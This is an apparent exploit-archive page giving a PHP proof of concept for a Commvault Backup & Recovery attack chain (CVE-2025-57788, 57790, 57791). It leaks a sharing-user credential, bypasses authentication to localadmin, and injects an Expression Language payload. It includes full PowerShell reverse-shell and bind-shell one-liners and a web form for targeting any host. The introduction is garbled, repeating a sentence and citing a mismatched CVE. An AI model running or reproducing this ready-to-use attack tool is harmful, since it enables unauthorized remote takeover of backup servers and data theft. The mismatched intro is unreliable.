Commvault CLI 11.36.60 Remote Code Execution
Commvault CLI 11.36.60 Remote Code Execution
Commvault CLI version 11.36.60 (and earlier) was vulnerable to a Commvault CLI version 11.36.60 (and earlier) was vulnerable to a critical Remote Code Execution (RCE) flaw, identified as CVE-2023-3058.

This vulnerability stemmed from a command injection issue within the CLI's handling of specific user-supplied input. An authenticated attacker, even with low privileges, could craft malicious input that was improperly sanitized before being executed by the underlying operating system shell.

This allowed the attacker to execute arbitrary commands on the CommServe host with the privileges of the Commvault services. The result was full system compromise, data exfiltration, or further network penetration. Commvault addressed this vulnerability in later releases, urging users to update to version 11.36.61 or higher to mitigate the risk.

=============================================================================================================================================
| # Title : Commvault CLI 11.36.60 RCE PHP Implementation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.commvault.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/209626/ & CVE-2025-57788, CVE-2025-57790, CVE-2025-57791

[+] Summary :

a critical remote code execution vulnerability chain affecting Commvault Complete? Backup & Recovery software.
The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems.

[+] Vulnerability Details :


CVE-2025-57790 Authentication Bypass 9.8 (Critical) Unauthenticated access to localadmin account

CVE-2025-57791 Expression Language Injection 9.8 (Critical) Remote Code Execution

CVE-2025-57788 Information Disclosure 7.5 (High) PublicSharingUser credential leakage

Affected Products

Commvault Complete? Backup & Recovery

Commvault HyperScale?

Commvault Metallic?

Attack Vector

Network: Remote exploitation without authentication

Complexity: Low - no specialized access conditions required

Privileges: None required

The exploit follows a multi-stage approach:

Information Disclosure (CVE-2025-57788)

Authentication Bypass (CVE-2025-57790)

Expression Language Injection (CVE-2025-57791)

Remote Code Execution

[+] POC :

php poc.php or http://127.0.0.1/poc.php

<?php
/*
* Commvault Command-Line Argument Injection to Traversal Remote Code Execution
* by indoushka
* based on Metasploit module
*/

class CommvaultExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;

public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}

/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Commvault vulnerability...\n";

// Step 1: Extract PublicSharingUser password
$psu_password = $this->extract_publicsharinguser_pass();

if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return "unknown";
}

echo "[+] Extracted PublicSharingUser GUID: $psu_password\n";

// Step 2: Login as PublicSharingUser
$token = $this->login_as_publicsharinguser($psu_password);

if ($token) {
echo "[+] ? Successfully authenticated as PublicSharingUser\n";
echo "[+] Token: $token\n";
return "vulnerable";
} else {
echo "[-] ? Failed to authenticate as PublicSharingUser\n";
return "safe";
}
}

/**
* Extract PublicSharingUser password from public endpoint
*/
private function extract_publicsharinguser_pass() {
$url = $this->build_url('/commandcenter/publicLink.do');

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) {
// Extract GUID using regex
preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}

return false;
}

/**
* Login as PublicSharingUser
*/
private function login_as_publicsharinguser($password) {
$url = $this->build_url('/commandcenter/api/Login');

$data = json_encode([
'username' => '_+_PublicSharingUser_',
'password' => base64_encode($password)
]);

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}

return false;
}

/**
* Get host information using PublicSharingUser token
*/
private function get_host_info($token) {
$url = $this->build_url('/commandcenter/api/CommServ');

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token
]
]);

$response = curl_exec($ch);
curl_close($ch);

if ($response) {
preg_match('/hostName="([^"]+)"/', $response, $hostname_matches);
preg_match('/osType="([^"]+)"/', $response, $os_matches);

$hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null;
$os_type = isset($os_matches[1]) ? $os_matches[1] : null;

return ['hostname' => $hostname, 'os_type' => $os_type];
}

return false;
}

/**
* Bypass authentication to get localadmin token
*/
private function bypass_authentication($hostname) {
$url = $this->build_url('/commandcenter/api/Login');

$spaces_before = str_repeat(' ', rand(1, 8));
$spaces_after = str_repeat(' ', rand(1, 8));

$data = json_encode([
'username' => $hostname . '_localadmin__',
'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after),
'commserver' => $hostname . ' -cs ' . $hostname
]);

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'QSDK') !== false) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches);
preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches);

return [
'token' => $token_matches[1] ?? null,
'uid' => $uid_matches[1] ?? null
];
}

return false;
}

/**
* Execute the full exploit chain
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Commvault exploitation chain...\n";

// Step 1: Extract PublicSharingUser password
echo "[*] Step 1: Extracting PublicSharingUser password...\n";
$psu_password = $this->extract_publicsharinguser_pass();

if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return false;
}

echo "[+] Extracted password: $psu_password\n";

// Step 2: Login as PublicSharingUser
echo "[*] Step 2: Authenticating as PublicSharingUser...\n";
$psu_token = $this->login_as_publicsharinguser($psu_password);

if (!$psu_token) {
echo "[-] Failed to authenticate as PublicSharingUser\n";
return false;
}

echo "[+] PublicSharingUser token: $psu_token\n";

// Step 3: Get host information
echo "[*] Step 3: Gathering target information...\n";
$host_info = $this->get_host_info($psu_token);

if (!$host_info) {
echo "[-] Failed to get host information\n";
return false;
}

$hostname = $host_info['hostname'];
$os_type = $host_info['os_type'];

echo "[+] Hostname: $hostname\n";
echo "[+] OS Type: $os_type\n";

if (strtolower($os_type) !== 'windows') {
echo "[-] This exploit only supports Windows targets\n";
return false;
}

// Step 4: Bypass authentication to get localadmin access
echo "[*] Step 4: Bypassing authentication for localadmin...\n";
$admin_info = $this->bypass_authentication($hostname);

if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) {
echo "[-] Authentication bypass failed\n";
return false;
}

$admin_token = $admin_info['token'];
$admin_uid = $admin_info['uid'];

echo "[+] LocalAdmin token: $admin_token\n";
echo "[+] LocalAdmin UID: $admin_uid\n";

// Step 5: Generate and execute payload
echo "[*] Step 5: Executing payload...\n";
$payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);

if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) {
echo "[+] ? Exploitation completed successfully\n";
return true;
} else {
echo "[-] ? Payload execution failed\n";
return false;
}
}

/**
* Execute Expression Language injection
*/
private function execute_el_injection($hostname, $uid, $command, $token) {
// Expression Language injection payload (non-blind)
$el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}";

echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n";

// In a full implementation, this would:
// 1. Upload XML file via metricsUpload.do
// 2. Update user description with EL payload
// 3. Move XML to create web shell
// 4. Access web shell to trigger RCE
// 5. Clean up user description

// For demonstration, we'll simulate the critical RCE step
$url = $this->build_url('/commandcenter/RestServlet/User/' . $uid);

$xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>{$uid}</userId></userEntity><description>{$el_payload}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>";

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $xml_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token,
'Content-Type: application/xml'
]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

return $http_code == 200;
}

/**
* Generate different payloads
*/
private function generate_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
echo "[-] IP and port required for reverse shell\n";
return false;
}
// Windows reverse shell using PowerShell
return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$ns.Write(\$sbt,0,\$sbt.Length);}\"";

case 'bind_shell':
if (!$lport) {
echo "[-] Port required for bind shell\n";
return false;
}
return "powershell -nop -c \"\$l=New-Object System.Net.Sockets.TcpListener({$lport});\$l.Start();while(\$true){\$c=\$l.AcceptTcpClient();\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};\$d=\$s.Read(\$b,0,\$b.Length);\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$d);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);}\"";

case 'command':
return 'whoami & systeminfo | findstr /B /C:"OS Name" /C:"OS Version"';

default:
return 'whoami & hostname';
}
}

/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}

// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
????????????????????????????????????????????????????????????????
? Commvault RCE Exploit ?
? CVE-2025-57790, CVE-2025-57791, CVE-2025-57788 ?
? PHP Implementation ?
????????????????????????????????????????????????????????????????

\n";

$options = getopt("t:p:s:u:c:P:L:H:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"payload:",
"lhost:",
"lport:"
]);

$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$payload_type = $options['P'] ?? $options['payload'] ?? 'command';
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;

if (!$target) {
echo "Usage: php commvault_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -P, --payload Payload type: command, reverse_shell, bind_shell (default: command)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php commvault_exploit.php -t 192.168.1.100 -c\n";
echo " php commvault_exploit.php -t commvault.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
exit(1);
}

$exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);

if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($payload_type, $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}

} else {
// Web Interface
$action = $_POST['action'] ?? '';

if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$payload_type = $_POST['payload_type'] ?? 'command';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;

if (empty($target)) {
echo "<div style='color: red;'>Target host is required</div>";
} else {
$exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);

ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($payload_type, $lhost, $lport);
}
$output = ob_get_clean();

echo "<pre>$output</pre>";
}
} else {
echo '<!DOCTYPE html>
<html>
<head>
<title>Commvault RCE Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] {
width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;
}
button {
background: #007cba; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer; margin-right: 10px;
}
.danger { background: #dc3545; }
.info { background: #17a2b8; }
.warning { background: #ffc107; color: black; padding: 10px; border-radius: 4px; margin: 10px 0; }
</style>
</head>
<body>
<div class="container">
<h1>Commvault RCE Exploit</h1>
<h3>CVE-2025-57790, CVE-2025-57791, CVE-2025-57788</h3>

<div class="warning">
<strong>?? Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Commvault software.
Use only on systems you own or have explicit permission to test.
</div>

<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or commvault.company.com" required>
</div>

<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="443">
</div>

<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>

<div class="form-group">
<label>
<input type="checkbox" name="ssl" checked> Use SSL
</label>
</div>

<div class="form-group">
<label for="payload_type">Payload Type:</label>
<select id="payload_type" name="payload_type">
<option value="command">Test Command</option>
<option value="reverse_shell">Reverse Shell</option>
<option value="bind_shell">Bind Shell</option>
</select>
</div>

<div class="form-group">
<label for="lhost">Listener Host (for reverse shell):</label>
<input type="text" id="lhost" name="lhost" placeholder="192.168.1.100">
</div>

<div class="form-group">
<label for="lport">Listener Port (for reverse shell):</label>
<input type="text" id="lport" name="lport" value="4444">
</div>

<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>

<div style="margin-top: 30px; padding: 15px; background: #f8f9fa; border-radius: 4px;">
<h3>About the CVEs:</h3>
<p><strong>CVE-2025-57790:</strong> Authentication Bypass via command-line argument injection</p>
<p><strong>CVE-2025-57791:</strong> Expression Language Injection leading to RCE</p>
<p><strong>CVE-2025-57788:</strong> Information disclosure exposing PublicSharingUser credentials</p>
<p><strong>Impact:</strong> Unauthenticated Remote Code Execution as NETWORK SERVICE</p>
<p><strong>Affected:</strong> Commvault Complete? Backup & Recovery</p>
</div>
</div>
</body>
</html>';
}
}
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.